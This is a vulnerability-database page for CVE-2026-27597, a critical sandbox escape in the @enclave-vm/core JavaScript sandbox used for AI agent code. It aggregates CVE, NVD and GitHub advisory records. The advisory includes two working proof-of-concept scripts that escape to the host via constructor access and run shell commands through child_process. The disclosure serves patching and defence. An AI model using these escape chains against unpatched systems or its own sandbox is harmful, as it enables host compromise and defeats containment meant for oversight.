Vulnerability-Lookup

CVE-2026-27597 (GCVE-0-2026-27597)

Vulnerability from cvelistv5 – Published: 2026-02-25 03:56 – Updated: 2026-02-25 21:13

Title

@enclave-vm/core is vulnerable to Sandbox Escape

Summary

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/agentfront/enclave/security/ad…	x_refsource_CONFIRM
https://github.com/agentfront/enclave/commit/09af…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
agentfront	enclave	Affected: < 2.11.1

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-27597

Vulnerability from fkie_nvd - Published: 2026-02-25 04:16 - Updated: 2026-06-17 10:27

Severity

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db	Patch
	security-advisories@github.com	https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	agentfront	enclave	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "enclave",
          "vendor": "agentfront",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.11.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
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              "matchCriteriaId": "77757A08-0B36-4B41-9474-A7AD214D4FB0",
              "versionEndExcluding": "2.11.1",
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    },
    {
      "lang": "es",
      "value": "Enclave es un sandbox seguro de JavaScript dise\u00f1ado para la ejecuci\u00f3n segura de c\u00f3digo de agentes de IA. Antes de la versi\u00f3n 2.11.1, es posible evadir los l\u00edmites de seguridad establecidos por `@enclave-vm/core`, lo que puede utilizarse para lograr ejecuci\u00f3n remota de c\u00f3digo (RCE). El problema ha sido solucionado en la versi\u00f3n 2.11.1."
    }
  ],
  "id": "CVE-2026-27597",
  "lastModified": "2026-06-17T10:27:21.953",
  "metrics": {
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        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
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          "confidentialityImpact": "HIGH",
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          "privilegesRequired": "NONE",
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      }
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}

GHSA-F229-3862-4942

Vulnerability from github – Published: 2026-02-25 17:26 – Updated: 2026-02-25 17:26

Summary

@enclave-vm/core is vulnerable to Sandbox Escape

Details

Summary

It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version 2.11.1.

Details

It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), __host_memory_track__, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).

Proof of Concept

PoC 1

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "SECURE",
  toolHandler: () => {},
});

const result = enclave.run(`
const op = {}[["__proto__"]];
const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return {
  res: glob.__host_memory_track__.value[["constructor"]]("return process")()
    .getBuiltinModule("child_process")
    .execSync("id")
    .toString()
    .split("\\n"),
};`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

PoC 2

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "STRICT",
  toolHandler: () => {},
  memoryLimit: 0,
});

const result = enclave.run(`
const op = {}[['__proto__']];
const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result;
const obj = {
  [sym]: (depth, option, inspect) => {
    result = inspect[['constructor']]
      [['constructor']]('return process')()
      .getBuiltinModule('child_process')
      .execSync('id')
      .toString();
  },
};

glob.__safe_console.value.log(obj);
return { result }
`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

Impact

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes Remote Code Execution (RCE) and should be considered Critical severity.

Remediation

The issue has been fixed in v2.11.0 with the following hardening measures:

Strengthened intrinsic object isolation
Improved console isolation
Hardened host callback exposure paths
Closed AST validation gaps
Added additional defensive checks around constructor access and prototype traversal

All known escape paths demonstrated in the PoCs are now blocked.

Users are strongly advised to upgrade to v2.11.1 or later immediately.

Credit

Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@enclave-vm/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T17:26:23Z",
    "nvd_published_at": "2026-02-25T04:16:03Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node\u0027s `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () =\u003e {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () =\u003e {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[[\u0027__proto__\u0027]];\nconst ho = op[[\u0027constructor\u0027]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[[\u0027Symbol\u0027]].value.for(\u0027nodejs.util.inspect.custom\u0027);\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) =\u003e {\n    result = inspect[[\u0027constructor\u0027]]\n      [[\u0027constructor\u0027]](\u0027return process\u0027)()\n      .getBuiltinModule(\u0027child_process\u0027)\n      .execSync(\u0027id\u0027)\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
  "id": "GHSA-f229-3862-4942",
  "modified": "2026-02-25T17:26:23Z",
  "published": "2026-02-25T17:26:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentfront/enclave"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@enclave-vm/core is vulnerable to Sandbox Escape"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-27597 (GCVE-0-2026-27597)

FKIE_CVE-2026-27597

GHSA-F229-3862-4942

Summary

Details

Proof of Concept

PoC 1

PoC 2

Impact

Remediation

Credit

Tags

Sightings

Nomenclature